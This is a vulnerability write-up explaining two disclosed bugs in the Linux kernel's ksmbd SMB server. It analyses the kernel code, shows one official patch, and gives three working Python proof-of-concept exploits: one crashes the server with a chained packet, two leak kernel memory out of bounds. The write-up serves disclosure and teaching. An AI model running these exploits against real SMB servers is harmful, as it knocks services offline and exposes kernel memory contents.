Unleashing ksmbd: crafting remote exploits of the Linux kernel
December 22nd 2022: it's Christmas Thursday, one of the last workdays before the Christmas vacation starts. Whilst everyone was looking forward to opening presents from friends and family, the Zero Day Initiative decided to give the IT community a present as well: immense stress in the form of ZDI-22-1690
, an unauthenticated RCE vulnerability in the Linux kernel's ksmbd subsystem.
This vulnerability showed me the way to a buggy subsystem of the Linux kernel: ksmbd. Ksmbd stands for Kernel SMB Daemon which acts as an SMB server (which you may recognize from Windows) in the kernel. SMB is known in the community for the unnecessary complexity and it's resulting vulnerabilities. Imagine the reaction of the Linux developer community when ksmbd was being introduced in the kernel.
I wanted to learn more about SMB and the ksmbd subsystem so I decided to do vulnerability research in this subsystem, with results. In this write-up I will present the exploits and technical analyses behind ZDI-23-979
and ZDI-23-980
: network-based unauthenticated Denial-of-Service and network-based (un)authenticated Out-of-Bounds read 64KiB.
An overview of SMB
Server Message Block is a file transfer protocol widely used by Windows OS where it can be used to access a NAS or another computer over a network. The most important features of SMB are file reads and writes, accessing directory information and doing authentication. Since the Windows OS tries to integrate SMB, SMB also has many ways of doing authentication for the Windows ecosystem: NTLMSSP, Kerberos 5, Microsoft Kerberos 5, and Kerberos 5 user-to-user (U2U). Ofcourse, the kernel also supports normal authentication like regular passwords.
To prevent extensive resource usage (like disk storage and RAM), SMB has a credit system where each command subtracts credits from the session. If the credits reach 0, the session cannot issue more commands.
N.B. A packet, request and command are different things. The same goes for a session and a connection.
ZDI-23-979: NULL Pointer Dereference Denial-of-Service
ZDI-23-979 is an network-based unauthenticated NULL pointer dereference vulnerability resulting from a logic bug in the session handling of chained SMB request packets. The ksmbd subsystem only handles the session for the first request in the packet, which makes a second request in the packet use the same session instance as well. However, when the first request does not use a session, the second request does consequently not use a session either, even when it is required.
This could hypothetically result in an auth bypass since it skips the session/auth checks, but instead leads to an NULL pointer dereference since it tries to access properties of the request session.
Let's dive in the function __handle_ksmbd_work
of v6.3.9
, the last vulnerable kernel release. This function gets called for every packet from a connection. As you can see, the function does call __process_request
for every request in the packet, but only checks the session for the first request in the packet using conn->ops->check_user_session(work)
(explanation below).
static void __handle_ksmbd_work(struct ksmbd_work *work,
struct ksmbd_conn *conn)
{
u16 command = 0;
int rc;
// [snip] (initialize buffers)
if (conn->ops->check_user_session) {
rc = conn->ops->check_user_session(work);
// if rc != 0 goto send (auth failed)
if (rc < 0) {
command = conn->ops->get_cmd_val(work);
conn->ops->set_rsp_status(work,
STATUS_USER_SESSION_DELETED);
goto send;
} else if (rc > 0) {
rc = conn->ops->get_ksmbd_tcon(work);
if (rc < 0) {
conn->ops->set_rsp_status(work,
STATUS_NETWORK_NAME_DELETED);
goto send;
}
}
}
do {
rc = __process_request(work, conn, &command);
if (rc == SERVER_HANDLER_ABORT)
break;
// [snip] (set SMB credits)
} while (is_chained_smb2_message(work));
if (work->send_no_response)
return;
send:
// [snip] (send response)
}
__handle_ksmbd_work
- session handling and request processing per packet.
The function conn->ops->
check_user_session
(work)
checks if the pending request requires a session, and if it does it will check req_hdr->SessionId
for existing sessions whereby req_hdr->SessionId
is randomly generated during SMB login. If the session check succeeds, then work->sess = ksmbd_session_lookup_all(conn, sess_id)
or if the request does not require a session, then work->sess = NULL
.
int smb2_check_user_session(struct ksmbd_work *work)
{
struct smb2_hdr *req_hdr = smb2_get_msg(work->request_buf);
struct ksmbd_conn *conn = work->conn;
unsigned int cmd = conn->ops->get_cmd_val(work);
unsigned long long sess_id;
/*
* SMB2_ECHO, SMB2_NEGOTIATE, SMB2_SESSION_SETUP command do not
* require a session id, so no need to validate user session's for
* these commands.
*/
if (cmd == SMB2_ECHO_HE || cmd == SMB2_NEGOTIATE_HE ||
cmd == SMB2_SESSION_SETUP_HE)
return 0;
// [snip] (check conn quality)
sess_id = le64_to_cpu(req_hdr->SessionId);
// [snip] (chained request logic that was unused)
/* Check for validity of user session */
work->sess = ksmbd_session_lookup_all(conn, sess_id);
if (work->sess)
return 1;
// [snip] (invalid session handling)
}
smb2_check_user_session
- codeblock of SMB validation checks.
Obviously, when the first command is i.e. SMB2_ECHO_HE
and the second command is i.e. SMB2_WRITE
, the work->sess
variable will be NULL
in smb2_write()
. This will cause a dereference like work->sess->x
and hence a NULL pointer derefence. Since NULL pointer dereferences panic the kernel thread, the SMB server will be taken offline while the rest of the kernel remains online. The proof-of-concept exploit for this vulnerability is as follows:
#!/usr/bin/env python3
from impacket import smb3, nmb
from pwn import p64, p32, p16, p8
def main():
print("[*] connecting to SMB server (no login)...")
try:
conn = smb3.SMB3("127.0.0.1", "127.0.0.1", sess_port=445, timeout=3)
except nmb.NetBIOSTimeout:
print("[!] SMB server is already offline (connection timeout)")
return
# generate innocent SMB_ECHO request
request_echo = smb3.SMB3Packet()
request_echo['Command'] = smb3.SMB2_ECHO
request_echo["Data"] = p16(4) + p16(0)
request_echo["NextCommand"] = 64+4 # set NextCommand to indicate request chaining
# generate innocent SMB_WRITE request
request_write = smb3.SMB3Packet()
request_write['Command'] = smb3.SMB2_WRITE
request_write["Data"] = p16(49) + p16(0) + p32(0) + p64(0) + p64(0) + p64(0) + p32(0) + p32(0) + p16(0) + p16(0) + p32(0) + p8(0)
request_write["TreeID"] = 0
# chain SMB_WRITE to SMB_ECHO
request_echo["Data"] += request_write.getData()
print('[*] sending DoS packet...')
conn.sendSMB(request_echo)
print("[*] probing server health...")
try:
smb3.SMB3("127.0.0.1", "127.0.0.1", sess_port=445, timeout=3)
print("[!] exploit failed - server remains online")
except nmb.NetBIOSTimeout:
print("[+] exploit succeeded - server is now offline")
if __name__ == "__main__":
main()
Proof-of-Concept (PoC) exploit for ZDI-23-979 written in Python code.
The most important part of the patch is moving the session check into the chained request loop, which results into the session check being executed for each chained request in the packet, instead of just the first one.
+++ b/fs/ksmbd/server.c
@@ -184,24 +184,31 @@ static void __handle_ksmbd_work(struct k
goto send;
}
- if (conn->ops->check_user_session) {
- rc = conn->ops->check_user_session(work);
- if (rc < 0) {
- command = conn->ops->get_cmd_val(work);
- conn->ops->set_rsp_status(work,
- STATUS_USER_SESSION_DELETED);
- goto send;
- } else if (rc > 0) {
- rc = conn->ops->get_ksmbd_tcon(work);
+ do {
+ if (conn->ops->check_user_session) {
+ rc = conn->ops->check_user_session(work);
if (rc < 0) {
- conn->ops->set_rsp_status(work,
- STATUS_NETWORK_NAME_DELETED);
+ if (rc == -EINVAL)
+ conn->ops->set_rsp_status(work,
+ STATUS_INVALID_PARAMETER);
+ else
+ conn->ops->set_rsp_status(work,
+ STATUS_USER_SESSION_DELETED);
goto send;
+ } else if (rc > 0) {
+ rc = conn->ops->get_ksmbd_tcon(work);
+ if (rc < 0) {
+ if (rc == -EINVAL)
+ conn->ops->set_rsp_status(work,
+ STATUS_INVALID_PARAMETER);
+ else
+ conn->ops->set_rsp_status(work,
+ STATUS_NETWORK_NAME_DELETED);
+ goto send;
+ }
}
}
- }
- do {
rc = __process_request(work, conn, &command);
if (rc == SERVER_HANDLER_ABORT)
break;
--- a/fs/ksmbd/smb2pdu.c
The official patch for ZDI-23-979
.
ZDI-23-980: Out-Of-Bounds Read Information Disclosure
ZDI-23-980 is a network-based (un)authenticated out-of-bounds read in the ksmbd subsystem of the Linux kernel, which allows a user to read up to 65536 consequent bytes from kernel memory. This issue results from an buffer over-read, much like the Heartbleed vulnerability in SSL, where the request packet states that the packet content is larger than it's actual size, resulting in the parsing of the packet with a fake size.
This can be exploited by issueing an SMB_WRITE request with size N to file "dump.bin", whereby the actual request empty is smaller than N. Then, issue an SMB_READ request to download the "dump.bin" file and eventually delete "dump.bin" to remove the exploitation traces.
When I was researching this vulnerability, I also found an unauthenticated OOB read of 2 bytes using SMB_ECHO, but I figured this was less important than the authenticated OOB read of 65536 bytes due to usability (whether or not this was the right decision is up to debate ;-) ). Hence, the CVE description says it's authenticated. I will also discuss the SMB_ECHO and explain the exploitation behind that path. The 2-byte OOB read consists of issue'ing an SMB_ECHO command with the last 2 bytes of the packet not being filled in.
The underlying issue
The underlying issue leading to the OOB read is improper validation of the SMB request packet parameter smb2_hdr.NextCommand
containing the offset to the next command. When NextCommand
is set, the SMB server assumes that the current command/request is the size of NextCommand
. Hence, when I have a packet of size N, I can set NextCommand
to N+2, and it will assume the packet is N+2 bytes long. This can be seen in action in the ksmbd_smb2_check_message
and smb2_calc_size
functions. The function ksmbd_smb2_check_message
does several assertions/validations:
hdr->StructureSize == 64
pdu->StructureSize2 == smb2_req_struct_sizes[command] // SMB2_WRITE: 49, SMB2_ECHO: 4
hdr->NextCommand == pdu->StructureSize2 + hdr->StructureSize // SMB_ECHO
hdr->NextCommand == hdr->DataOffset + hdr->Length // SMB_WRITE
The assertions put onto the packet, for validation.
But it does not assert work->next_smb2_rcv_hdr_off + hdr->NextCommand <= get_rfc1002_len(work->request_buf)
, which is the official patch.
static int smb2_get_data_area_len(unsigned int *off, unsigned int *len,
struct smb2_hdr *hdr)
{
int ret = 0;
*off = 0;
*len = 0;
switch (hdr->Command) {
// [snip] not reached
case SMB2_WRITE:
if (((struct smb2_write_req *)hdr)->DataOffset ||
((struct smb2_write_req *)hdr)->Length) {
*off = max_t(unsigned int,
le16_to_cpu(((struct smb2_write_req *)hdr)->DataOffset),
offsetof(struct smb2_write_req, Buffer));
*len = le32_to_cpu(((struct smb2_write_req *)hdr)->Length);
break;
}
*off = le16_to_cpu(((struct smb2_write_req *)hdr)->WriteChannelInfoOffset);
*len = le16_to_cpu(((struct smb2_write_req *)hdr)->WriteChannelInfoLength);
break;
// [snip] not reached
default:
// [snip] not reached
}
// [snip] return error if offset > 4096
return ret;
}
static int smb2_calc_size(void *buf, unsigned int *len)
{
struct smb2_pdu *pdu = (struct smb2_pdu *)buf;
struct smb2_hdr *hdr = &pdu->hdr;
unsigned int offset; /* the offset from the beginning of SMB to data area */
unsigned int data_length; /* the length of the variable length data area */
int ret;
*len = le16_to_cpu(hdr->StructureSize);
*len += le16_to_cpu(pdu->StructureSize2);
if (has_smb2_data_area[le16_to_cpu(hdr->Command)] == false) {
// SMB_ECHO will reach this
goto calc_size_exit;
}
// SMB_WRITE will reach this
ret = smb2_get_data_area_len(&offset, &data_length, hdr);
// [snip] return error if ret < 0
if (data_length > 0) {
// [snip] return error when data overlaps with next cmd
*len = offset + data_length;
}
calc_size_exit:
ksmbd_debug(SMB, "SMB2 len %u\n", *len);
return 0;
}
int ksmbd_smb2_check_message(struct ksmbd_work *work)
{
struct smb2_pdu *pdu = ksmbd_req_buf_next(work);
struct smb2_hdr *hdr = &pdu->hdr;
int command;
__u32 clc_len; /* calculated length */
__u32 len = get_rfc1002_len(work->request_buf);
if (le32_to_cpu(hdr->NextCommand) > 0)
len = le32_to_cpu(hdr->NextCommand);
else if (work->next_smb2_rcv_hdr_off)
len -= work->next_smb2_rcv_hdr_off;
// [snip] check flag in header
if (hdr->StructureSize != SMB2_HEADER_STRUCTURE_SIZE) {
// [snip] return error
}
command = le16_to_cpu(hdr->Command);
// [snip] check if command is valid
if (smb2_req_struct_sizes[command] != pdu->StructureSize2) {
// [snip] return error (with exceptions)
}
if (smb2_calc_size(hdr, &clc_len)) {
// [snip] return error (with exceptions)
}
if (len != clc_len) {
// [snip] return error (with exceptions)
}
validate_credit:
// [snip] irrelevant credit check
return 0;
}
The functions causing the vulnerability.
As you can see, for SMB_WRITE we can set an arbitrary packet size by setting hdr->Length
and hdr->NextCommand
variables to compliment each other. As per SMB_ECHO, we just need to set hdr->NextCommand
to the expected value, without actually filling in smb2_echo_req->reserved
:
struct smb2_echo_req {
struct smb2_hdr hdr;
__le16 StructureSize; /* Must be 4 */
__u16 Reserved;
} __packed;
The smb2_echo_req
struct.
Exploitation
To leak 2 bytes using SMB_ECHO
:
- Set
smb2_echo_req->StructureSize = p16(4)
- Set
smb2_echo_req->hdr.NextCommand = sizeof(smb2_echo_req->hdr) + smb2_echo_req->StructureSize
- Send request
- Read echo response, with the last 2 bytes being an OOB read.
#!/usr/bin/env python3
from impacket import smb3
from pwn import p64, p32, p16, p8
def main():
print("[*] connecting to SMB server...")
conn = smb3.SMB3("127.0.0.1", "127.0.0.1", sess_port=445)
packet = smb3.SMB3Packet()
packet['Command'] = smb3.SMB2_ECHO
packet["Data"] = p16(0x4)
packet["NextCommand"] = 64+4
print("[*] sending OOB read...")
conn.sendSMB(packet)
print("[*] reading response...")
rsp = conn.recvSMB().rawData
print(rsp)
if __name__ == "__main__":
main()
ZDI-23-980
PoC exploit using SMB_ECHO
For the SMB_WRITE
path, here's the struct and the steps:
struct smb2_write_req {
struct smb2_hdr hdr;
__le16 StructureSize; /* Must be 49 */
__le16 DataOffset; /* offset from start of SMB2 header to write data */
__le32 Length;
__le64 Offset;
__u64 PersistentFileId; /* opaque endianness */
__u64 VolatileFileId; /* opaque endianness */
__le32 Channel; /* MBZ unless SMB3.02 or later */
__le32 RemainingBytes;
__le16 WriteChannelInfoOffset;
__le16 WriteChannelInfoLength;
__le32 Flags;
__u8 Buffer[];
} __packed;
The smb2_write_req
struct.
- Set
smb2_write_req->StructureSize = 49
- Set
smb2_write_req->DataOffset = smb2_write_req->StructureSize + 64
to start reading the content without the packet - Set
smb2_write_req->Length = 65536
to write 65536 bytes from the packet to the file - Set
smb2_write_req->hdr.NextCommand = smb2_write_req->Length + smb2_write_req->DataOffset
to spoof the request size - Open a file in the SMB share in read/write mode:
file_id = smb_open("dump.bin", "rw")
- Set
smb2_write_req->PersistentFileId = file_id
- Send the request
- Read the file in the SMB share:
dump = smb_read(file_id)
#!/usr/bin/env python3
from impacket import smb3
from pwn import p64, p32, p16, p8
def main(username: str, password: str, share: str, filename: str):
print("[*] connecting to SMB server...")
conn = smb3.SMB3("127.0.0.1", "127.0.0.1", sess_port=445)
print(f"[*] logging into SMB server in (username: '{username}', password: '{password}')...")
conn.login(user=username, password=password)
print(f"[*] connecting to tree/share: '{share}'")
tree_id = conn.connectTree(share)
packet = smb3.SMB3Packet()
packet['Command'] = smb3.SMB2_WRITE
StructureSize = 49
DataOffset = 64 + StructureSize # fixed packet size excl buffer
Length = 0x10000 # max credits: 8096, so max buffer: 8096*8 (0x10000), but max IO size: 4*1024*1024 (0x400000)
# this is ugly but acquires a RW handle for the '{filename}' file containing the memory
file_id = conn.create(tree_id, filename, desiredAccess=smb3.FILE_READ_DATA|smb3.FILE_SHARE_WRITE, creationDisposition=smb3.FILE_OPEN|smb3.FILE_CREATE,
creationOptions=smb3.FILE_NON_DIRECTORY_FILE, fileAttributes=smb3.FILE_ATTRIBUTE_NORMAL, shareMode=smb3.FILE_SHARE_READ|smb3.FILE_SHARE_WRITE)
packet["Data"] = (p16(StructureSize) + p16(DataOffset) + p32(Length) + p64(0) + file_id[:8] + p64(0) + p32(0) + p32(0) + p16(0) + p16(0) + p32(0) + p8(0))
packet["TreeID"] = tree_id
packet["NextCommand"] = DataOffset+Length # the end of the buffer is past the end of the packet
print(f"[*] sending OOB read for 65536 bytes... (writing to file '{filename}')")
conn.sendSMB(packet)
print("[*] closing file descriptors...")
conn.close(tree_id, file_id) # close fd's bcs impacket is impacket
print(f"[*] reading file containing kernel memory: '{filename}'")
conn.retrieveFile(share, filename, print) # print file (containing kmem dump)
if __name__ == "__main__":
main("user", "pass", "files", "dump.bin")
ZDI-23-980
PoC exploit using SMB_WRITE
Conclusion
Thank you for reading my write-up on this Linux kernel vulnerability. I hope you learned about the ksmbd kernel subsystem and that you like the write-up style.
For questions, job inquiries, and other things, please send an email to notselwyn@pwning.tech (PGP key).